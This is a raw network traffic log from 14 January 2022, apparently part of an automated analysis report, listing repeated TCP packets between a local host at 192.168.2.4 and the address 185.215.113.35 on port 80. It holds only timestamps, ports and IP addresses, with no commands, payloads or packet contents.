Jan 14, 2022 09:26:00.865173101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.865608931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.865616083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.865803957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.865811110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.890125036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.890305042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.890593052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.890603065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.890860081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.890867949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.891040087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.891048908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.891133070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.891365051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.891371965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.891474962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.891654015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.891661882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.891853094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.891860962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.892079115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.892134905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.892191887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.892385960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.892394066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.892571926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.892580032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.892755032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.892764091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.892940998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.892949104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.893126011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.893135071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.893302917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.893312931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.893487930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.893496990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.897241116 CET	49890	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.905302048 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.911880016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.912084103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.912601948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.912730932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.912925005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.912961960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.913070917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.913297892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.913368940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.913495064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.913702011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.913748980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.913891077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.913902044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.914081097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.914092064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.914266109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.914275885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.914458036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.914470911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.914550066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.914644957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.914827108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.914838076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.914987087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.915107012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.915117979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.915299892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.915313005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.915477037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.915496111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.915668011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.915683031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.915847063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.915859938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.916037083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.916052103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.916223049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.916237116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.916410923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.916424990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.916589975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.916601896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.916775942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.916790009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.916960955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.916975021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.917141914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.917155981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.917320967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.917332888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.917541027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.917566061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.917717934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.917735100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.917896986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.917918921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.918064117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.918076992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.918248892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.918263912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.918363094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.918469906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.918560028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.918828964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.918843031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.919037104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.919053078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.919214010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.919226885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.919401884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.919416904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.921844959 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.921892881 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.921910048 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.921925068 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.921938896 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.925122023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.938397884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.938616991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.938812017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.938889027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.939112902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.939122915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.939636946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.939923048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.939933062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.940104008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.940113068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.940296888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.940306902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.940407991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.940552950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.940809965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.940819979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.941051006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.941061020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.941298008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.941309929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.941538095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.941550016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.941796064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.941806078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.942058086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.942069054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.942318916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.942329884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.942596912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.942608118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.942805052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.942815065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.943000078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.943187952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.943197012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.943682909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.943696976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.943985939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.943995953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.944183111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.944192886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.944364071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.944372892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.944549084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.944557905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.944727898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.944737911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.944921017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.944930077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.945096970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.945106030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.945275068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.945282936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.945446014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.945455074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.945565939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.945812941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.945926905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.946058035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.946067095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.946250916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.946260929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.946424007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.946433067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.946613073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.946621895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.946789026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.946798086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.946974039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.946983099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.947160959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.947170019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.947335005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.947344065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.947504044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.947514057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.947675943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.947689056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.947770119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.947969913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.947979927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.948137999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.948149920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.948333025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.948343039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.948487043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.948497057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.948666096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.948676109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.948832035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.948839903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.949018955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.949028969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.949172974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.949181080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.949343920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.949352980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.949511051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.949521065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.949686050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.949696064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.949892998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.949903965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.950031996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.961239100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.961253881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.961441994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.961450100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.961626053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.961633921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.961812973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.961873055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.962038040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.962192059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.962342024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.962523937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.962534904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.962662935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.962822914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.962832928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.963083029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.963335991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.963428020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.963578939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.963670969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.963793993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.963923931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.964106083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.964114904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.964284897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.964293957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.964493990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.964505911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.964658976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.964898109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.964909077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.965122938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.965131044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.965233088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.965390921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.965480089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.965581894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.965723991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.965816975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.965985060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.966070890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.966177940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.966253996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.966331005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.966403008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.966475964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.966555119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.966650963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.966723919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.966828108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.966896057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.967005968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.967111111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.967343092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.967472076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.967664003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.967734098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.967880011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.968022108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.968153000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.968247890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.968338966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.968519926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.968662024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.968765974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.968851089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.968954086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.969125032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.969232082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.969397068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.969640017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.969650030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.969779968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.969914913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.970086098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.970094919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.970283985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.970293999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.970469952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.970479965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.970649958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.970658064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.970834970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.970844030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.971019983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.971029043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.971204042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.971213102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.971385002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.971394062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.971570015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.971580029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.971767902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.971779108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.971982002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.979595900 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.979619980 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.979638100 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.981534004 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.981554031 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.987888098 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.987911940 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.991298914 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.998133898 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.016076088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.016158104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.016345024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.016352892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.016524076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.016534090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.016701937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.016710043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.016902924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.045831919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.045969963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.046191931 CET	49891	80	192.168.2.4	185.215.113.35
